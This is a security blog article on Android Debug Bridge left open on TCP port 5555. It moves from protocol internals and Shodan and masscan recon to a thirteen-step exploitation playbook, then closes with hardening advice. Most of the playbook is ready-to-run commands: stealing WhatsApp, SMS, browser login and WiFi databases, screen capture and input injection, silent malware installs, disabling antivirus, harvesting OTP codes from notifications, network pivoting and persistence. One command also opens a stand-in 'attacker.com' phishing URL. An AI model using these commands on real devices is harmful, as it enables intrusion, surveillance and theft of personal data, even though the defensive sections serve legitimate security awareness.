Status: Decrypted

ADB over internet, root access for everyone

ADB over internet, root access for everyone

Android Debug Bridge is a developer tool. It lets you push files, install apps, and drop into a Unix shell on an Android device. When used over USB, it’s safe. When left open over TCP on port 5555, exposed to the internet, with no authentication, it’s a root shell waiting to be claimed. No exploit. No password. Just adb connect.

Right now, thousands of devices are in that state. This article covers everything: how ADB works internally, how to find exposed devices, what you can actually do once connected (including the techniques that most writeups skip), and how to lock things down properly.

Introduction

This is not about a zero-day. This is about a misconfiguration so basic that it shouldn’t exist, yet it persists at scale. ADB over TCP has been a known attack surface since 2018 when the ADB.Miner worm infected tens of thousands of devices. It’s 2026, and the problem hasn’t gone away. It got worse, because the number of Android-powered devices that aren’t phones (TVs, projectors, set-top boxes, DVRs, kiosks, car head units) has exploded, and most of them ship from factories with ADB wide open.

In April 2026, CVE-2026-5777 was assigned to the Atom 3x Projector. The vulnerability? ADB exposed on the network without authentication. CVSS 8.7. A brand-new CVE, on a device currently sold to consumers, for a misconfiguration the community has been warning about for eight years.

This article is a complete methodology. From the internals to the recon to the exploitation to the hardening. Let’s get into it.

How ADB actually works

Before breaking things, let’s understand the protocol. ADB has three components.

The client runs on your machine and sends commands. When you type adb shell, that’s the client.

The daemon (adbd) runs on the target device. It receives commands and executes them. It runs as either shell user (uid 2000) or root (uid 0) depending on the device build.

The server runs on your machine (port 5037 by default) and manages the connection between client and daemon. It starts automatically when you run any adb command.

When you connect via USB, the protocol uses a USB transport layer. The device shows a prompt asking you to trust the computer’s RSA key. You have to physically tap “Allow” on the screen. This is the authentication mechanism. It works.

The problem is TCP mode. When adbd switches to TCP, it listens on a network port (default 5555) and accepts connections from any client. The RSA authentication that exists in USB mode is either absent or trivially bypassable over TCP on most devices, especially pre-Android 11 builds and cheap IoT hardware.

The ADB protocol itself is simple. It uses a custom binary protocol with six message types: CNXN (connect), AUTH (authentication), OPEN (open stream), READY (stream ready), WRTE (write data), CLSE (close stream). When a client connects to adbd over TCP, it sends a CNXN message. If authentication is not enforced, adbd responds with its own CNXN and the session is established. No challenge. No credentials.

Enabling and disabling ADB on a phone

This is the starting point. Whether you’re testing your own device or understanding the attack surface, you need to know how to toggle ADB.

Enable Developer Options

Developer Options is hidden by default on all Android devices since Android 4.2. To unlock it:

  1. Open Settings
  2. Go to About phone (sometimes under System > About phone)
  3. Find Build number
  4. Tap it 7 times consecutively

You’ll see a toast message: “You are now a developer!” Developer Options will now appear in your Settings menu (usually under System or directly in the main settings list).

Enable USB Debugging

  1. Go to Settings > Developer Options
  2. Toggle USB Debugging to ON
  3. Confirm the security prompt

At this point, ADB works over USB only. Your device is not exposed to the network.

Enable ADB over TCP (the dangerous part)

From a computer already connected via USB:

adb tcpip 5555

This tells adbd to start listening on TCP port 5555. The device is now reachable wirelessly. You can disconnect the USB cable and connect via:

adb connect <device-ip>:5555

Some devices allow enabling ADB over TCP directly from the settings. On Android TV and Fire TV devices, it’s often under Settings > Device Preferences > Developer Options > Network Debugging.

Disable ADB over TCP

From a computer:

adb usb

This switches adbd back to USB-only mode and stops the TCP listener. Alternatively, toggling USB Debugging off in Developer Options kills adbd entirely, both USB and TCP.

To verify the current state:

adb devices

If you see an IP address in the device list, TCP mode is active. If you only see a serial number, you’re USB-only.

On some cheap Android TV boxes and projectors, there is no way to disable ADB through the settings because the manufacturer removed the Developer Options UI entirely. The daemon is hardcoded to start on boot in TCP mode. The only fix is either a custom firmware, a firewall rule on your router, or returning the device.

Reconnaissance

Shodan

The query is trivial:

"Android Debug Bridge" port:5555

Shodan returns IPs, ports, and banners. The banner from an exposed ADB service looks like this:

Android Debug Bridge device::ro.product.name=AFTMM;ro.product.model=AFTMM;
ro.product.device=AFTMM;features=cmd,stat_v2,shell_v2,fixed_push_mkdir

You can read the device name, model, product line, and supported features from the banner alone. No connection needed.

For more targeted searches:

"Android Debug Bridge" port:5555 country:FR
"Android Debug Bridge" port:5555 org:"Orange"
"Android Debug Bridge" product:"SHIELD Android TV"

As of mid-2025, a basic Shodan query returns over 12,000 results. The ADBNectar honeypot project confirms that some of these are honeypots, but the vast majority are real devices: smart TVs, Fire Sticks, projectors, DVRs, phones.

LeakIX

LeakIX indexes exposed services with a focus on data leaks. Unlike Shodan which is a general-purpose scanner, LeakIX contextualizes findings. It correlates with known vulnerabilities, identifies device types, and flags the severity.

Search for androidadb or port:5555 in the LeakIX dashboard. Results include geolocation, ISP, and sometimes the banner data. LeakIX also lets you filter by country, ASN, and date range, which is useful for tracking exposure trends over time.

Their 2026 scanning report shows they’re finding more exposed services across the board, including ADB, than what Shodan shows in public results. They scan at internet scale across protocols that most engines ignore.

Masscan + Nmap combo

For scanning a specific range at speed:

# Fast port discovery with masscan
masscan -p5555 192.168.0.0/16 --rate=10000 -oL adb_hosts.txt

# Service verification with nmap
nmap -p 5555 -sV -iL adb_hosts.txt -oA adb_scan

Masscan finds the open ports fast. Nmap confirms the service is actually ADB and not something else on 5555.

For a single target:

nmap -p 5555 -sV --script=adb-connect <target>

Exploitation methodology

Let’s go step by step. Everything from here assumes you have authorization to test the target device.

Step 1: Connect

adb connect <ip>:5555

If successful:

connected to <ip>:5555

If it fails with “unable to connect” or “connection refused”, the port might be filtered or adbd isn’t running. If it says “failed to authenticate”, the device has RSA authentication enabled (good for the device owner, dead end for the attacker without physical access).

Step 2: Identify the device

adb -s <ip>:5555 shell getprop ro.product.model
adb -s <ip>:5555 shell getprop ro.product.manufacturer
adb -s <ip>:5555 shell getprop ro.build.version.release
adb -s <ip>:5555 shell getprop ro.build.display.id

This tells you exactly what you’re dealing with: the model, manufacturer, Android version, and build ID. Useful for finding known CVEs specific to that device.

A faster way to dump everything at once:

adb shell getprop | grep -E "model|manufacturer|version|sdk|brand|device"

Step 3: Check your privilege level

adb shell id

Possible outputs:

uid=2000(shell) gid=2000(shell)    # Shell user (still powerful)
uid=0(root) gid=0(root)             # Root (game over)

If you’re shell (uid 2000), try escalating:

adb shell su

On many budget devices, su is available and works without any prompt. On rooted devices with SuperSU or Magisk, it might show a grant dialog on the screen (which is a problem if you don’t have physical access).

Another way to check if root is available:

adb root

If the device is a userdebug or eng build (common on dev boards and cheap IoT), this restarts adbd as root. You’ll see:

restarting adbd as root

On production user builds, it will say:

adbd cannot run as root in production builds

Step 4: Filesystem reconnaissance

# List installed packages
adb shell pm list packages

# Find package paths
adb shell pm path com.whatsapp

# List running processes
adb shell ps -A

# Check network config
adb shell ifconfig
adb shell ip addr

# Check network connections
adb shell netstat -tlnp

# Check mounted filesystems
adb shell mount

# Check available storage
adb shell df -h

Step 5: Data exfiltration

This is where it gets serious. With shell access, you can pull almost everything.

External storage (no root needed):

adb pull /sdcard/ ./loot/

This grabs photos, downloads, documents, voice recordings, everything on the SD card. On most devices, this includes WhatsApp media, Telegram downloads, camera photos, and screenshots.

App databases (root needed for most):

# WhatsApp messages
adb pull /data/data/com.whatsapp/databases/msgstore.db ./loot/

# Chrome browsing data
adb pull /data/data/com.android.chrome/app_chrome/Default/History ./loot/
adb pull /data/data/com.android.chrome/app_chrome/Default/Login\ Data ./loot/
adb pull /data/data/com.android.chrome/app_chrome/Default/Cookies ./loot/

# WiFi passwords (root)
adb pull /data/misc/wifi/WifiConfigStore.xml ./loot/
# On older Android versions:
adb pull /data/misc/wifi/wpa_supplicant.conf ./loot/

# Contacts database
adb pull /data/data/com.android.providers.contacts/databases/contacts2.db ./loot/

# SMS database
adb pull /data/data/com.android.providers.telephony/databases/mmssms.db ./loot/

# Call history
adb pull /data/data/com.android.providers.contacts/databases/calllog.db ./loot/

App shared preferences (often contain tokens and credentials):

# List shared_prefs for a package
adb shell ls /data/data/com.example.app/shared_prefs/

# Pull them all
adb pull /data/data/com.example.app/shared_prefs/ ./loot/

Shared preferences are XML files. They often contain API tokens, session tokens, OAuth refresh tokens, and sometimes plaintext passwords. Most developers don’t encrypt them.

Step 6: Live surveillance

Screenshot:

adb shell screencap -p /sdcard/screen.png
adb pull /sdcard/screen.png
adb shell rm /sdcard/screen.png

Screen recording:

adb shell screenrecord /sdcard/recording.mp4 --time-limit 30
adb pull /sdcard/recording.mp4
adb shell rm /sdcard/recording.mp4

The --time-limit flag is in seconds. Maximum is 180.

Dumping the framebuffer directly (works even without screencap binary):

adb shell cat /dev/graphics/fb0 > framebuffer.raw

This gives you the raw framebuffer data. You’ll need to know the screen resolution and pixel format to convert it to an image, but it works on devices where the screencap binary has been removed.

Step 7: Input injection

This is the technique most people don’t know about. ADB lets you simulate touch events, key presses, and text input on the device. Combined with screencap, you can operate the device remotely without any VNC or remote desktop app installed.

Type text:

adb shell input text "hello"

Simulate a tap at coordinates (x, y):

adb shell input tap 500 800

Simulate a swipe:

adb shell input swipe 500 1500 500 500 300

The last parameter is duration in milliseconds. This swipes from (500,1500) to (500,500) over 300ms.

Press hardware keys:

adb shell input keyevent 3      # Home
adb shell input keyevent 4      # Back
adb shell input keyevent 26     # Power
adb shell input keyevent 66     # Enter
adb shell input keyevent 67     # Delete/Backspace
adb shell input keyevent 82     # Menu
adb shell input keyevent 187    # App Switcher
adb shell input keyevent 224    # Wake up (screen on)
adb shell input keyevent 223    # Sleep (screen off)

The combination of screencap and input effectively gives you full remote control of the device. Take a screenshot, see what’s on screen, inject taps and text. No app installation needed.

Step 8: Activity and service manipulation

Android has a rich IPC system based on Intents. With ADB, you can start activities, services, and send broadcasts directly.

Launch an app:

adb shell am start -n com.android.settings/.Settings

Open a URL in the browser:

adb shell am start -a android.intent.action.VIEW -d "http://attacker.com/phish"

Dial a phone number (on phones):

adb shell am start -a android.intent.action.CALL -d tel:+33123456789

Send an SMS (via the intent system, not the modem):

adb shell am start -a android.intent.action.SENDTO -d sms:+33123456789 \
  --es sms_body "message from your ADB shell" --ez exit_on_sent true

Force stop an app (kill it):

adb shell am force-stop com.android.chrome

Step 9: Logcat mining

Incredibly underrated. Android’s logcat often contains sensitive data that apps log carelessly. With a shell, you can watch it in real time.

# All logs
adb logcat

# Filter for a specific app
adb logcat --pid=$(adb shell pidof com.example.app)

# Search for interesting patterns
adb logcat -d | grep -iE "token|password|secret|key|auth|session|cookie|bearer"

# Watch for URLs (useful for capturing API endpoints and tokens)
adb logcat -d | grep -iE "https?://"

Developers frequently log API responses, authentication tokens, session IDs, and error messages with credentials during development and forget to remove them in production builds. On a device where you have shell access, logcat is a goldmine.

Step 10: Package manipulation

Install an APK (sideload):

adb install malicious.apk

Install silently without user prompt:

adb install -r -g malicious.apk

The -r flag replaces an existing app. The -g flag grants all requested permissions automatically. On devices with relaxed security (many IoT devices), this works without any user interaction.

Uninstall an app (covering tracks):

adb uninstall com.example.securityapp

Disable a security app without uninstalling it:

adb shell pm disable-user --user 0 com.example.antivirus

This removes the app from the launcher and stops it from running, but keeps it installed so a factory reset would bring it back. Much stealthier than uninstalling.

Step 11: ADB backup extraction

This is an older technique but still works on many devices (pre-Android 12).

adb backup -apk -shared -all -f backup.ab

This triggers a full device backup. On some devices, it requires the user to confirm on screen. On others (especially IoT devices with no screen interaction), it proceeds silently.

The resulting .ab file can be extracted with:

dd if=backup.ab bs=24 skip=1 | \
  python3 -c "import zlib,sys;sys.stdout.buffer.write(zlib.decompress(sys.stdin.buffer.read()))" \
  > backup.tar
tar xf backup.tar

The extracted backup contains app data, shared preferences, and databases for every app that allows backup (which is the default unless the developer explicitly sets android:allowBackup="false" in the manifest).

Step 12: Network pivoting

A compromised device is an entry point into the network it’s connected to.

Port forwarding through ADB:

adb forward tcp:8080 tcp:80

This lets you access services on the device’s local network through your machine.

Reverse port forwarding:

adb reverse tcp:4444 tcp:4444

This makes the device forward connections on its port 4444 to your machine’s port 4444. Useful for setting up a callback channel.

ARP table (see what else is on the LAN):

adb shell ip neigh show

This reveals other devices on the same network segment. From there, you can probe internal services using the compromised device as a pivot.

Step 13: Persistence

Maintaining access across reboots.

Keep ADB TCP open permanently:

adb shell setprop persist.adb.tcp.port 5555

This survives reboots. Even if someone disables USB debugging, the TCP listener may persist depending on the device.

Modify init scripts (root required):

adb shell mount -o rw,remount /system
adb push persistence_script.sh /system/etc/init.d/99persist
adb shell chmod 755 /system/etc/init.d/99persist

Install a persistent reverse shell APK that starts on boot using a BroadcastReceiver for BOOT_COMPLETED.

The dumpsys goldmine

Most writeups completely ignore dumpsys. It’s one of the most powerful reconnaissance commands available through ADB.

# All registered accounts on the device (Google, Samsung, etc.)
adb shell dumpsys account

# WiFi details including saved networks and passwords
adb shell dumpsys wifi

# Battery stats (reveals app usage patterns and timing)
adb shell dumpsys batterystats

# Running activities (see what's currently on screen)
adb shell dumpsys activity activities | grep -E "mResumed|topActivity"

# Notification history (message previews, OTP codes, email subjects)
adb shell dumpsys notification --noredact

# Clipboard contents
adb shell service call clipboard 2 s16 com.android.shell

# Location data
adb shell dumpsys location

# All content providers (check for exposed data)
adb shell dumpsys content

# Telephony info (IMEI, IMSI, carrier, SIM serial)
adb shell dumpsys telephony.registry
adb shell service call iphonesubinfo 1

The dumpsys notification --noredact is particularly nasty. On devices where this flag is supported, it dumps the full text of recent notifications, including SMS previews, email subjects, OTP codes, and messenger notifications. On a phone, this is essentially a real-time feed of everything the user receives.

The clipboard trick is also worth noting. Many password managers copy passwords to the clipboard. If you time it right, you can grab credentials that the user just copied.

The monkey tool

Android ships with a tool called monkey. It’s designed for stress testing by generating random user events. But it can also be used offensively.

# Generate 1000 random events on a specific app
adb shell monkey -p com.android.chrome -v 1000

This will randomly tap, swipe, press buttons, and rotate the screen within Chrome. It’s chaotic, but it can trigger hidden behaviors, crash the app in unexpected ways, or navigate to screens that aren’t easily reachable. In a testing context, it’s a crude but effective fuzzer.

Why devices are exposed

If ADB over TCP has to be manually enabled with a command, how are thousands of devices ending up exposed? Several paths, compounding.

Vendors shipping with ADB enabled. Budget Android TV boxes, no-name projectors, cheap tablets from OEMs are shipped from the factory with adbd listening on port 5555. The vendor needed it during QA, and simply forgot (or didn’t care) to disable it in the production firmware.

UPnP port forwarding. Even behind a NAT router, Universal Plug and Play can automatically create port forwarding rules. A device running adbd on port 5555 can use UPnP to punch a hole through the router, making it accessible from the internet without the user doing anything.

Developer carelessness. A developer enables ADB over TCP to debug wirelessly (adb tcpip 5555), finishes, and forgets to switch back. If their phone is on a mobile network with a public IP, port 5555 is now open to the world.

IoT devices on flat networks. Smart TVs, kiosks, and industrial Android devices are often placed on networks with no segmentation. They get a public IP or sit behind a firewall with overly permissive rules.

The botnets

ADB.Miner (2018) was the first major worm. It connected to devices on port 5555, dropped a Monero miner, and worm-scanned for new targets. At peak, researchers tracked 40,000+ unique IPs infected over two days.

Trinity and Fbot followed the same pattern. Fbot had an interesting twist: it removed competing malware from infected devices before installing its own payload.

The ADBHoney and ADBNectar honeypot projects capture this traffic in real time. The ADBNectar README notes that as of 2025, scanning and exploitation of exposed ADB services is ongoing and consistent.

Hardening and prevention

On your phone or tablet

  1. Go to Settings > Developer Options
  2. Turn off USB Debugging
  3. If you don’t need Developer Options at all, tap Revoke USB debugging authorizations to clear trusted computers
  4. On Android 12+, toggle Wireless debugging separately. Make sure it’s off

To verify from a computer:

adb devices

If the list is empty, you’re clean.

On IoT devices, TVs, projectors

Many budget Android devices have no UI to disable ADB. In that case:

Block at the router. Create a firewall rule dropping all traffic on port 5555 to the device’s IP. Also block outbound 5555 to prevent worm propagation.

If you can get a shell, disable it from the device:

adb shell settings put global adb_enabled 0
adb shell setprop persist.adb.tcp.port ""
adb shell stop adbd

Note that this might not survive a reboot if the init scripts re-enable ADB.

Network segmentation. Put all IoT devices on a separate VLAN with no inbound internet access.

For developers

  1. Always switch back to USB mode when done: adb usb
  2. Never leave TCP mode active overnight
  3. Use Android 11+ wireless debugging with pairing codes instead of raw TCP. The pairing mechanism uses TLS and a 6-digit code
  4. On Android 11+: Settings > Developer Options > Wireless debugging uses a random port and requires pairing. This is significantly safer than adb tcpip 5555

For network administrators

  1. Block port 5555 TCP at the perimeter. Inbound and outbound. There is zero legitimate reason for ADB traffic to cross a network boundary
  2. Run periodic scans: nmap -p 5555 --open 10.0.0.0/8
  3. Use an MDM solution that enforces ADB policies on managed devices
  4. Monitor for the CNXN signature in network traffic. Easy to write an IDS rule for

Conclusion

ADB over TCP is not a vulnerability in Android. It’s a feature designed for local development that gets deployed where it shouldn’t be. The result is unauthenticated shell access (often root) on thousands of internet-facing devices.

The tools to find them are free. Shodan indexes them. LeakIX contextualizes them. Nmap confirms them. The exploitation requires zero skill, zero exploits, zero budget. And once connected, the post-exploitation surface is massive: data theft, live surveillance, input injection, network pivoting, persistence.

CVE-2026-5777 proves vendors are still shipping devices with ADB wide open in 2026. The cycle continues because the people buying budget Android projectors don’t know what ADB is, and the vendors have no incentive to care.

Check port 5555 on your network tonight. You might be surprised.

Be careful. Connecting to ADB services on devices you don’t own is unauthorized access, regardless of how easy it is. The fact that a door is open doesn’t make it legal to walk in. Everything described here should only be performed on devices you own or have explicit written authorization to test.